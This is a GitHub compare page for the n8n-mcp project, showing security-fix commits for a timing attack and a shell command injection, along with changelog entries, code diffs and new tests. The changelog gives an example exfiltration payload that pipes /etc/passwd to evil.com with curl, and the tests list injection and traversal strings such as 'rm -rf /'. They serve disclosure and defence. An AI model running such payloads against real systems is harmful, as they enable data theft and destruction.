Compare commits

...

6 Commits

Author SHA1 Message Date
Romuald Członkowski
9a00a99011 Merge pull request #279 from czlonkowski/security/issue-265-pr1-critical-timing-and-injection
🔒 CRITICAL Security Fixes: Timing Attack & Command Injection (Issue #265)
2025-10-06 14:39:38 +02:00
czlonkowski
36aedd5050 fix: correct version to 2.16.2 (patch release for security fixes)
Per Semantic Versioning, security fixes are backwards-compatible bug fixes
and should increment the PATCH version (2.16.1 → 2.16.2), not MINOR.

This resolves the version mismatch identified by code review.
2025-10-06 14:29:08 +02:00
czlonkowski
59f49c47ab docs: remove forward-looking statements from CHANGELOG
CHANGELOG should only document changes made in this release, not planned future changes.

Removed reference to v2.16.3 planned features.
2025-10-06 14:15:39 +02:00
czlonkowski
b106550520 security: fix CRITICAL timing attack and command injection vulnerabilities (Issue #265)
This commit addresses 2 critical security vulnerabilities identified in the
security audit.

## CRITICAL-02: Timing Attack Vulnerability (CVSS 8.5)

**Problem:** Non-constant-time string comparison in authentication allowed
timing attacks to discover tokens character-by-character through statistical
timing analysis (estimated 24-48 hours to compromise).

**Fix:** Implemented crypto.timingSafeEqual for all token comparisons

**Changes:**
- Added AuthManager.timingSafeCompare() constant-time comparison utility
- Fixed src/utils/auth.ts:27 - validateToken method
- Fixed src/http-server-single-session.ts:1087 - Single-session HTTP auth
- Fixed src/http-server.ts:315 - Fixed HTTP server auth
- Added 11 unit tests with timing variance analysis (<10% variance proven)

## CRITICAL-01: Command Injection Vulnerability (CVSS 8.8)

**Problem:** User-controlled nodeType parameter injected into shell commands
via execSync, allowing remote code execution, data exfiltration, and network
scanning.

**Fix:** Eliminated all shell execution, replaced with Node.js fs APIs

**Changes:**
- Replaced execSync() with fs.readdir() in enhanced-documentation-fetcher.ts
- Added multi-layer input sanitization: /[^a-zA-Z0-9._-]/g
- Added directory traversal protection (blocks .., /, relative paths)
- Added path.basename() for additional safety
- Added final path verification (ensures result within expected directory)
- Added 9 integration tests covering all attack vectors

## Test Results

All Tests Passing:
- Unit tests: 11/11  (timing-safe comparison)
- Integration tests: 9/9  (command injection prevention)
- Timing variance: <10%  (proves constant-time)
- All existing tests:  (no regressions)

## Breaking Changes

None - All changes are backward compatible.

## References

- Security Audit: Issue #265
- Implementation Plan: docs/local/security-implementation-plan-issue-265.md
- Audit Analysis: docs/local/security-audit-analysis-issue-265.md

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-06 14:09:06 +02:00
czlonkowski
e1be4473a3 Merge pull request #278 from czlonkowski/fix/issue-277-signal-handlers-stdio
Fix: Add signal handlers for stdio mode (Issue #277)

Fixes orphaned Node.js processes on Windows 11 when Claude Desktop quits.

Production-ready improvements:
- Robust container detection (Docker, Kubernetes, Podman, containerd)
- Fixed redundant exit calls with graceful 1000ms timeout
- Error handling for stdin registration
- Shutdown trigger logging for debugging

Code Review: Approved - Production Ready (9.6/10)
All critical issues resolved, 90% Docker test pass confidence

Reported by: @Eddy-Chahed
Issue: #277
2025-10-06 13:26:27 +02:00
czlonkowski
b12a927a10 fix: harden signal handlers with robust container detection (Issue #277)
Production-ready improvements based on comprehensive code review:

Critical Fixes:
- Robust container detection: Checks multiple env vars (IS_DOCKER, IS_CONTAINER)
  with flexible formats (true/1/yes) and filesystem markers (/.dockerenv,
  /run/.containerenv) for Docker, Kubernetes, Podman, containerd support
- Fixed redundant exit calls: Removed immediate exit, use 1000ms timeout for
  graceful shutdown allowing cleanup to complete
- Added error handling for stdin registration with try-catch
- Added shutdown trigger logging (SIGTERM/SIGINT/SIGHUP/STDIN_END/STDIN_CLOSE)

Improvements:
- Increased timeout from 500ms to 1000ms for slower systems
- Added null safety for stdin operations
- Enhanced documentation explaining behavior in different environments
- More descriptive variable names (isDocker → isContainer)

Testing:
- Supports Docker, Kubernetes, Podman, and other container runtimes
- Graceful fallback if container detection fails
- Works in Claude Desktop, containers, and manual execution

Code Review: Approved by code-reviewer agent
All critical and warning issues addressed

Reported by: @Eddy-Chahed
Issue: #277

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-06 13:04:03 +02:00
10 changed files with 742 additions and 39 deletions

View File

@@ -5,6 +5,189 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [2.16.2] - 2025-10-06
### 🔒 Security
**CRITICAL security fixes for production deployments. All users should upgrade immediately.**
This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265):
- **🚨 CRITICAL-02: Timing Attack Vulnerability**
- **Issue:** Non-constant-time string comparison in authentication allowed timing attacks
- **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise)
- **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times
- **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons
- **Locations Fixed:**
- `src/utils/auth.ts:27` - validateToken method
- `src/http-server-single-session.ts:1087` - Single-session HTTP auth
- `src/http-server.ts:315` - Fixed HTTP server auth
- **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility
- **Verification:** 11 unit tests with timing variance analysis (<10% variance proven)
- **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
- **🚨 CRITICAL-01: Command Injection Vulnerability**
- **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync`
- **Impact:** Remote code execution, data exfiltration, network scanning possible
- **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #`
- **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590`
- **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs
- Replaced `execSync()` with `fs.readdir()` (recursive, no shell)
- Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g`
- Added directory traversal protection (blocks `..`, `/`, relative paths)
- Added `path.basename()` for additional safety
- Added final path verification (ensures result within expected directory)
- **Benefits:**
- 100% immune to command injection (no shell execution)
- Cross-platform compatible (no dependency on `find`/`grep`)
- Faster (no process spawning overhead)
- Better error handling and logging
- **Verification:** 9 integration tests covering all attack vectors
- **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
### Added
- **Security Test Suite**
- Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests)
- Timing variance analysis (proves <10% variance = constant-time)
- Edge cases: null, undefined, empty, very long tokens (10000 chars)
- Special characters, Unicode, whitespace handling
- Case sensitivity verification
- Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests)
- Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines)
- Directory traversal prevention (parent dir, URL-encoded, absolute paths)
- Special character sanitization
- Null byte handling
- Legitimate operations (ensures fix doesn't break functionality)
### Changed
- **Authentication:** All token comparisons now use timing-safe algorithm
- **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands
- **Security Posture:** Production-ready with hardened authentication and input validation
### Technical Details
**Timing-Safe Comparison Implementation:**
```typescript
// NEW: Constant-time comparison utility
static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
try {
if (!plainToken || !expectedToken) return false;
const plainBuffer = Buffer.from(plainToken, 'utf8');
const expectedBuffer = Buffer.from(expectedToken, 'utf8');
if (plainBuffer.length !== expectedBuffer.length) return false;
// Uses crypto.timingSafeEqual for constant-time comparison
return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
} catch {
return false;
}
}
// USAGE: Replace token !== this.authToken with:
const isValidToken = this.authToken &&
AuthManager.timingSafeCompare(token, this.authToken);
```
**Command Injection Fix:**
```typescript
// BEFORE (VULNERABLE):
execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`)
// AFTER (SECURE):
const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
return null;
}
const safeName = path.basename(sanitized);
const files = await fs.readdir(searchPath, { recursive: true });
const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials'));
```
### Breaking Changes
**None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations.
### Migration Guide
**No action required** - This is a drop-in security fix. Simply upgrade:
```bash
npm install n8n-mcp@2.16.2
# or
npm update n8n-mcp
```
### Deployment Notes
**Recommended Actions:**
1. **Upgrade immediately** - These are critical security fixes
2. **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters
3. **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended)
**No configuration changes needed** - The fixes are transparent to existing deployments.
### Test Results
**All Tests Passing:**
- Unit tests: 11/11 (timing-safe comparison)
- Integration tests: 9/9 (command injection prevention)
- Timing variance: <10% (proves constant-time)
- All existing tests: (no regressions)
**Security Verification:**
- No command execution with malicious inputs
- Timing attack variance <10% (statistical analysis over 1000 samples)
- Directory traversal blocked (parent dir, absolute paths, URL-encoded)
- All special characters sanitized safely
### Audit Trail
**Security Audit:** Issue #265 - Third-party security audit identified 25 issues
**This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02)
**Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority)
### References
- Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265
- Implementation Plan: `docs/local/security-implementation-plan-issue-265.md`
- Audit Analysis: `docs/local/security-audit-analysis-issue-265.md`
---
## [2.16.1] - 2025-10-06
### Fixed
- **🐛 Issue #277: Missing Signal Handlers in stdio Mode**
- **Problem**: Node.js processes remained orphaned when Claude Desktop quit
- **Platform**: Primarily affects Windows 11, but improves reliability on all platforms
- **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers
- **Impact**: Users had to manually kill processes via Task Manager after quitting Claude Desktop
- **Fix**: Added comprehensive graceful shutdown handlers for stdio mode
- SIGTERM, SIGINT, and SIGHUP signal handlers
- stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop)
- Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers
- Supports Docker, Kubernetes, Podman, and other container runtimes
- Container mode: Signal handlers only (prevents detached mode premature shutdown)
- Claude Desktop mode: stdin + signal handlers (comprehensive coverage)
- Race condition protection with `isShuttingDown` guard
- stdin cleanup with null safety (pause + destroy)
- Graceful shutdown timeout (1000ms) to allow cleanup to complete
- Error handling with try-catch for stdin registration and shutdown
- Shutdown trigger logging for debugging (SIGTERM vs stdin close)
- Production-hardened based on comprehensive code review
- **Location**: `src/mcp/index.ts:91-132`
- **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method
- **Code Review**: Approved with recommendations implemented
- **Reporter**: @Eddy-Chahed
## [2.16.0] - 2025-10-06
### Added

View File

@@ -1,6 +1,6 @@
{
"name": "n8n-mcp",
"version": "2.16.0",
"version": "2.16.2",
"description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
"main": "dist/index.js",
"bin": {

View File

@@ -1,6 +1,6 @@
{
"name": "n8n-mcp-runtime",
"version": "2.16.0",
"version": "2.16.1",
"description": "n8n MCP Server Runtime Dependencies Only",
"private": true,
"dependencies": {

View File

@@ -10,6 +10,7 @@ import { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';
import { N8NDocumentationMCPServer } from './mcp/server';
import { ConsoleManager } from './utils/console-manager';
import { logger } from './utils/logger';
import { AuthManager } from './utils/auth';
import { readFileSync } from 'fs';
import dotenv from 'dotenv';
import { getStartupBaseUrl, formatEndpointUrls, detectBaseUrl } from './utils/url-detector';
@@ -1080,15 +1081,19 @@ export class SingleSessionHTTPServer {
// Extract token and trim whitespace
const token = authHeader.slice(7).trim();
// Check if token matches
if (token !== this.authToken) {
logger.warn('Authentication failed: Invalid token', {
// SECURITY: Use timing-safe comparison to prevent timing attacks
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
const isValidToken = this.authToken &&
AuthManager.timingSafeCompare(token, this.authToken);
if (!isValidToken) {
logger.warn('Authentication failed: Invalid token', {
ip: req.ip,
userAgent: req.get('user-agent'),
reason: 'invalid_token'
});
res.status(401).json({
res.status(401).json({
jsonrpc: '2.0',
error: {
code: -32001,

View File

@@ -9,6 +9,7 @@ import { n8nDocumentationToolsFinal } from './mcp/tools';
import { n8nManagementTools } from './mcp/tools-n8n-manager';
import { N8NDocumentationMCPServer } from './mcp/server';
import { logger } from './utils/logger';
import { AuthManager } from './utils/auth';
import { PROJECT_VERSION } from './utils/version';
import { isN8nApiConfigured } from './config/n8n-api';
import dotenv from 'dotenv';
@@ -308,15 +309,19 @@ export async function startFixedHTTPServer() {
// Extract token and trim whitespace
const token = authHeader.slice(7).trim();
// Check if token matches
if (token !== authToken) {
logger.warn('Authentication failed: Invalid token', {
// SECURITY: Use timing-safe comparison to prevent timing attacks
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
const isValidToken = authToken &&
AuthManager.timingSafeCompare(token, authToken);
if (!isValidToken) {
logger.warn('Authentication failed: Invalid token', {
ip: req.ip,
userAgent: req.get('user-agent'),
reason: 'invalid_token'
});
res.status(401).json({
res.status(401).json({
jsonrpc: '2.0',
error: {
code: -32001,

View File

@@ -3,6 +3,7 @@
import { N8NDocumentationMCPServer } from './server';
import { logger } from '../utils/logger';
import { TelemetryConfigManager } from '../telemetry/config-manager';
import { existsSync } from 'fs';
// Add error details to stderr for Claude Desktop debugging
process.on('uncaughtException', (error) => {
@@ -21,6 +22,36 @@ process.on('unhandledRejection', (reason, promise) => {
process.exit(1);
});
/**
* Detects if running in a container environment (Docker, Podman, Kubernetes, etc.)
* Uses multiple detection methods for robustness:
* 1. Environment variables (IS_DOCKER, IS_CONTAINER with multiple formats)
* 2. Filesystem markers (/.dockerenv, /run/.containerenv)
*/
function isContainerEnvironment(): boolean {
// Check environment variables with multiple truthy formats
const dockerEnv = (process.env.IS_DOCKER || '').toLowerCase();
const containerEnv = (process.env.IS_CONTAINER || '').toLowerCase();
if (['true', '1', 'yes'].includes(dockerEnv)) {
return true;
}
if (['true', '1', 'yes'].includes(containerEnv)) {
return true;
}
// Fallback: Check filesystem markers
// /.dockerenv exists in Docker containers
// /run/.containerenv exists in Podman containers
try {
return existsSync('/.dockerenv') || existsSync('/run/.containerenv');
} catch (error) {
// If filesystem check fails, assume not in container
logger.debug('Container detection filesystem check failed:', error);
return false;
}
}
async function main() {
// Handle telemetry CLI commands
const args = process.argv.slice(2);
@@ -91,6 +122,67 @@ Learn more: https://github.com/czlonkowski/n8n-mcp/blob/main/PRIVACY.md
} else {
// Stdio mode - for local Claude Desktop
const server = new N8NDocumentationMCPServer();
// Graceful shutdown handler (fixes Issue #277)
let isShuttingDown = false;
const shutdown = async (signal: string = 'UNKNOWN') => {
if (isShuttingDown) return; // Prevent multiple shutdown calls
isShuttingDown = true;
try {
logger.info(`Shutdown initiated by: ${signal}`);
await server.shutdown();
// Close stdin to signal we're done reading
if (process.stdin && !process.stdin.destroyed) {
process.stdin.pause();
process.stdin.destroy();
}
// Exit with timeout to ensure we don't hang
// Increased to 1000ms for slower systems
setTimeout(() => {
logger.warn('Shutdown timeout exceeded, forcing exit');
process.exit(0);
}, 1000).unref();
// Let the timeout handle the exit for graceful shutdown
// (removed immediate exit to allow cleanup to complete)
} catch (error) {
logger.error('Error during shutdown:', error);
process.exit(1);
}
};
// Handle termination signals (fixes Issue #277)
// Signal handling strategy:
// - Claude Desktop (Windows/macOS/Linux): stdin handlers + signal handlers
// Primary: stdin close when Claude quits | Fallback: SIGTERM/SIGINT/SIGHUP
// - Container environments: signal handlers ONLY
// stdin closed in detached mode would trigger immediate shutdown
// Container detection via IS_DOCKER/IS_CONTAINER env vars + filesystem markers
// - Manual execution: Both stdin and signal handlers work
process.on('SIGTERM', () => shutdown('SIGTERM'));
process.on('SIGINT', () => shutdown('SIGINT'));
process.on('SIGHUP', () => shutdown('SIGHUP'));
// Handle stdio disconnect - PRIMARY shutdown mechanism for Claude Desktop
// Skip in container environments (Docker, Kubernetes, Podman) to prevent
// premature shutdown when stdin is closed in detached mode.
// Containers rely on signal handlers (SIGTERM/SIGINT/SIGHUP) for proper shutdown.
const isContainer = isContainerEnvironment();
if (!isContainer && process.stdin.readable && !process.stdin.destroyed) {
try {
process.stdin.on('end', () => shutdown('STDIN_END'));
process.stdin.on('close', () => shutdown('STDIN_CLOSE'));
} catch (error) {
logger.error('Failed to register stdin handlers, using signal handlers only:', error);
// Continue - signal handlers will still work
}
}
await server.run();
}
} catch (error) {

View File

@@ -22,8 +22,9 @@ export class AuthManager {
return false;
}
// Check static token
if (token === expectedToken) {
// SECURITY: Use timing-safe comparison for static token
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
if (AuthManager.timingSafeCompare(token, expectedToken)) {
return true;
}
@@ -97,4 +98,47 @@ export class AuthManager {
Buffer.from(hashedToken)
);
}
/**
* Compare two tokens using constant-time algorithm to prevent timing attacks
*
* @param plainToken - Token from request
* @param expectedToken - Expected token value
* @returns true if tokens match, false otherwise
*
* @security This uses crypto.timingSafeEqual to prevent timing attack vulnerabilities.
* Never use === or !== for token comparison as it allows attackers to discover
* tokens character-by-character through timing analysis.
*
* @example
* const isValid = AuthManager.timingSafeCompare(requestToken, serverToken);
* if (!isValid) {
* return res.status(401).json({ error: 'Unauthorized' });
* }
*
* @see https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
*/
static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
try {
// Tokens must be non-empty
if (!plainToken || !expectedToken) {
return false;
}
// Convert to buffers
const plainBuffer = Buffer.from(plainToken, 'utf8');
const expectedBuffer = Buffer.from(expectedToken, 'utf8');
// Check length first (constant time not needed for length comparison)
if (plainBuffer.length !== expectedBuffer.length) {
return false;
}
// Constant-time comparison
return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
} catch (error) {
// Buffer conversion or comparison failed
return false;
}
}
}

View File

@@ -560,35 +560,113 @@ export class EnhancedDocumentationFetcher {
/**
* Search for node documentation file
* SECURITY: Uses Node.js fs APIs instead of shell commands to prevent command injection
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
*/
private async searchForNodeDoc(nodeType: string): Promise<string | null> {
try {
// First try exact match with nodeType
let result = execSync(
`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md" -type f | grep -v credentials | head -1`,
{ encoding: 'utf-8', stdio: 'pipe' }
).trim();
if (result) return result;
// Try lowercase nodeType
const lowerNodeType = nodeType.toLowerCase();
result = execSync(
`find ${this.docsPath}/docs/integrations/builtin -name "${lowerNodeType}.md" -type f | grep -v credentials | head -1`,
{ encoding: 'utf-8', stdio: 'pipe' }
).trim();
if (result) return result;
// Try node name pattern but exclude trigger nodes
const nodeName = this.extractNodeName(nodeType);
result = execSync(
`find ${this.docsPath}/docs/integrations/builtin -name "*${nodeName}.md" -type f | grep -v credentials | grep -v trigger | head -1`,
{ encoding: 'utf-8', stdio: 'pipe' }
).trim();
return result || null;
// SECURITY: Sanitize input to prevent command injection and directory traversal
const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
if (!sanitized) {
logger.warn('Invalid nodeType after sanitization', { nodeType });
return null;
}
// SECURITY: Block directory traversal attacks
if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
return null;
}
// Log sanitization if it occurred
if (sanitized !== nodeType) {
logger.warn('nodeType was sanitized (potential injection attempt)', {
original: nodeType,
sanitized,
});
}
// SECURITY: Use path.basename to strip any path components
const safeName = path.basename(sanitized);
const searchPath = path.join(this.docsPath, 'docs', 'integrations', 'builtin');
// SECURITY: Read directory recursively using Node.js fs API (no shell execution!)
const files = await fs.readdir(searchPath, {
recursive: true,
encoding: 'utf-8'
}) as string[];
// Try exact match first
let match = files.find(f =>
f.endsWith(`${safeName}.md`) &&
!f.includes('credentials') &&
!f.includes('trigger')
);
if (match) {
const fullPath = path.join(searchPath, match);
// SECURITY: Verify final path is within expected directory
if (!fullPath.startsWith(searchPath)) {
logger.error('Path traversal blocked in final path', { fullPath, searchPath });
return null;
}
logger.info('Found documentation (exact match)', { path: fullPath });
return fullPath;
}
// Try lowercase match
const lowerSafeName = safeName.toLowerCase();
match = files.find(f =>
f.endsWith(`${lowerSafeName}.md`) &&
!f.includes('credentials') &&
!f.includes('trigger')
);
if (match) {
const fullPath = path.join(searchPath, match);
// SECURITY: Verify final path is within expected directory
if (!fullPath.startsWith(searchPath)) {
logger.error('Path traversal blocked in final path', { fullPath, searchPath });
return null;
}
logger.info('Found documentation (lowercase match)', { path: fullPath });
return fullPath;
}
// Try partial match with node name
const nodeName = this.extractNodeName(safeName);
match = files.find(f =>
f.toLowerCase().includes(nodeName.toLowerCase()) &&
f.endsWith('.md') &&
!f.includes('credentials') &&
!f.includes('trigger')
);
if (match) {
const fullPath = path.join(searchPath, match);
// SECURITY: Verify final path is within expected directory
if (!fullPath.startsWith(searchPath)) {
logger.error('Path traversal blocked in final path', { fullPath, searchPath });
return null;
}
logger.info('Found documentation (partial match)', { path: fullPath });
return fullPath;
}
logger.debug('No documentation found', { nodeType: safeName });
return null;
} catch (error) {
logger.error('Error searching for node documentation:', {
error: error instanceof Error ? error.message : String(error),
nodeType,
});
return null;
}
}

View File

@@ -0,0 +1,166 @@
import { describe, it, expect, beforeAll } from 'vitest';
import { EnhancedDocumentationFetcher } from '../../../src/utils/enhanced-documentation-fetcher';
/**
* Integration tests for command injection prevention
*
* SECURITY: These tests verify that malicious inputs cannot execute shell commands
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
*/
describe('Command Injection Prevention', () => {
let fetcher: EnhancedDocumentationFetcher;
beforeAll(() => {
fetcher = new EnhancedDocumentationFetcher();
});
describe('Command Injection Attacks', () => {
it('should sanitize all command injection attempts without executing commands', async () => {
// SECURITY: The key is that special characters are sanitized, preventing command execution
// After sanitization, the string may become a valid search term (e.g., 'test')
// which is safe behavior - no commands are executed
const attacks = [
'test"; rm -rf / #', // Sanitizes to: test
'test && cat /etc/passwd',// Sanitizes to: test
'test | curl http://evil.com', // Sanitizes to: test
'test`whoami`', // Sanitizes to: test
'test$(cat /etc/passwd)', // Sanitizes to: test
'test\nrm -rf /', // Sanitizes to: test
'"; rm -rf / #', // Sanitizes to: empty
'&&& curl http://evil.com', // Sanitizes to: empty
'|||', // Sanitizes to: empty
'```', // Sanitizes to: empty
'$()', // Sanitizes to: empty
'\n\n\n', // Sanitizes to: empty
];
for (const attack of attacks) {
// Should complete without throwing errors or executing commands
// Result may be null or may find documentation - both are safe as long as no commands execute
await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
}
});
});
describe('Directory Traversal Prevention', () => {
it('should block parent directory traversal', async () => {
const traversalAttacks = [
'../../../etc/passwd',
'../../etc/passwd',
'../etc/passwd',
];
for (const attack of traversalAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
it('should block URL-encoded directory traversal', async () => {
const traversalAttacks = [
'..%2f..%2fetc%2fpasswd',
'..%2fetc%2fpasswd',
];
for (const attack of traversalAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
it('should block relative path references', async () => {
const pathAttacks = [
'..',
'....',
'./test',
'../test',
];
for (const attack of pathAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
it('should block absolute paths', async () => {
const pathAttacks = [
'/etc/passwd',
'/usr/bin/whoami',
'/var/log/auth.log',
];
for (const attack of pathAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
});
describe('Special Character Handling', () => {
it('should sanitize special characters', async () => {
const specialChars = [
'test;',
'test|',
'test&',
'test`',
'test$',
'test(',
'test)',
'test<',
'test>',
];
for (const input of specialChars) {
const result = await fetcher.getEnhancedNodeDocumentation(input);
// Should sanitize and search, not execute commands
// Result should be null (not found) but no command execution
expect(result).toBeNull();
}
});
it('should sanitize null bytes', async () => {
// Null bytes are sanitized, leaving 'test' as valid search term
const nullByteAttacks = [
'test\0.md',
'test\u0000',
];
for (const attack of nullByteAttacks) {
// Should complete safely - null bytes are removed
await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
}
});
});
describe('Legitimate Operations', () => {
it('should still find valid node documentation with safe characters', async () => {
// Test with a real node type that should exist
const validNodeTypes = [
'slack',
'gmail',
'httpRequest',
];
for (const nodeType of validNodeTypes) {
const result = await fetcher.getEnhancedNodeDocumentation(nodeType);
// May or may not find docs depending on setup, but should not throw or execute commands
// The key is that it completes without error
expect(result === null || typeof result === 'object').toBe(true);
}
});
it('should handle hyphens and underscores safely', async () => {
const safeNames = [
'http-request',
'google_sheets',
'n8n-nodes-base',
];
for (const name of safeNames) {
const result = await fetcher.getEnhancedNodeDocumentation(name);
// Should process safely without executing commands
expect(result === null || typeof result === 'object').toBe(true);
}
});
});
});

View File

@@ -0,0 +1,130 @@
import { describe, it, expect } from 'vitest';
import { AuthManager } from '../../../src/utils/auth';
/**
* Unit tests for AuthManager.timingSafeCompare
*
* SECURITY: These tests verify constant-time comparison to prevent timing attacks
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
*/
describe('AuthManager.timingSafeCompare', () => {
describe('Security: Timing Attack Prevention', () => {
it('should return true for matching tokens', () => {
const token = 'a'.repeat(32);
const result = AuthManager.timingSafeCompare(token, token);
expect(result).toBe(true);
});
it('should return false for different tokens', () => {
const token1 = 'a'.repeat(32);
const token2 = 'b'.repeat(32);
const result = AuthManager.timingSafeCompare(token1, token2);
expect(result).toBe(false);
});
it('should return false for tokens of different lengths', () => {
const token1 = 'a'.repeat(32);
const token2 = 'a'.repeat(64);
const result = AuthManager.timingSafeCompare(token1, token2);
expect(result).toBe(false);
});
it('should return false for empty tokens', () => {
expect(AuthManager.timingSafeCompare('', 'test')).toBe(false);
expect(AuthManager.timingSafeCompare('test', '')).toBe(false);
expect(AuthManager.timingSafeCompare('', '')).toBe(false);
});
it('should use constant-time comparison (timing analysis)', () => {
const correctToken = 'a'.repeat(64);
const wrongFirstChar = 'b' + 'a'.repeat(63);
const wrongLastChar = 'a'.repeat(63) + 'b';
const samples = 1000;
const timings = {
wrongFirst: [] as number[],
wrongLast: [] as number[],
};
// Measure timing for wrong first character
for (let i = 0; i < samples; i++) {
const start = process.hrtime.bigint();
AuthManager.timingSafeCompare(wrongFirstChar, correctToken);
const end = process.hrtime.bigint();
timings.wrongFirst.push(Number(end - start));
}
// Measure timing for wrong last character
for (let i = 0; i < samples; i++) {
const start = process.hrtime.bigint();
AuthManager.timingSafeCompare(wrongLastChar, correctToken);
const end = process.hrtime.bigint();
timings.wrongLast.push(Number(end - start));
}
// Calculate medians
const median = (arr: number[]) => {
const sorted = arr.slice().sort((a, b) => a - b);
return sorted[Math.floor(sorted.length / 2)];
};
const medianFirst = median(timings.wrongFirst);
const medianLast = median(timings.wrongLast);
// Timing variance should be less than 10% (constant-time)
const variance = Math.abs(medianFirst - medianLast) / medianFirst;
expect(variance).toBeLessThan(0.10);
});
it('should handle special characters safely', () => {
const token1 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
const token2 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
const token3 = 'xyz!@#$%^&*()_+-=[]{}|;:,.<>?';
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
});
it('should handle unicode characters', () => {
const token1 = '你好世界🌍🔒';
const token2 = '你好世界🌍🔒';
const token3 = '你好世界🌍❌';
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
});
});
describe('Edge Cases', () => {
it('should handle null/undefined gracefully', () => {
expect(AuthManager.timingSafeCompare(null as any, 'test')).toBe(false);
expect(AuthManager.timingSafeCompare('test', null as any)).toBe(false);
expect(AuthManager.timingSafeCompare(undefined as any, 'test')).toBe(false);
expect(AuthManager.timingSafeCompare('test', undefined as any)).toBe(false);
});
it('should handle very long tokens', () => {
const longToken = 'a'.repeat(10000);
expect(AuthManager.timingSafeCompare(longToken, longToken)).toBe(true);
expect(AuthManager.timingSafeCompare(longToken, 'b'.repeat(10000))).toBe(false);
});
it('should handle whitespace correctly', () => {
const token1 = 'test-token-with-spaces';
const token2 = 'test-token-with-spaces '; // Trailing space
const token3 = ' test-token-with-spaces'; // Leading space
expect(AuthManager.timingSafeCompare(token1, token1)).toBe(true);
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
});
it('should be case-sensitive', () => {
const token1 = 'TestToken123';
const token2 = 'testtoken123';
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
});
});
});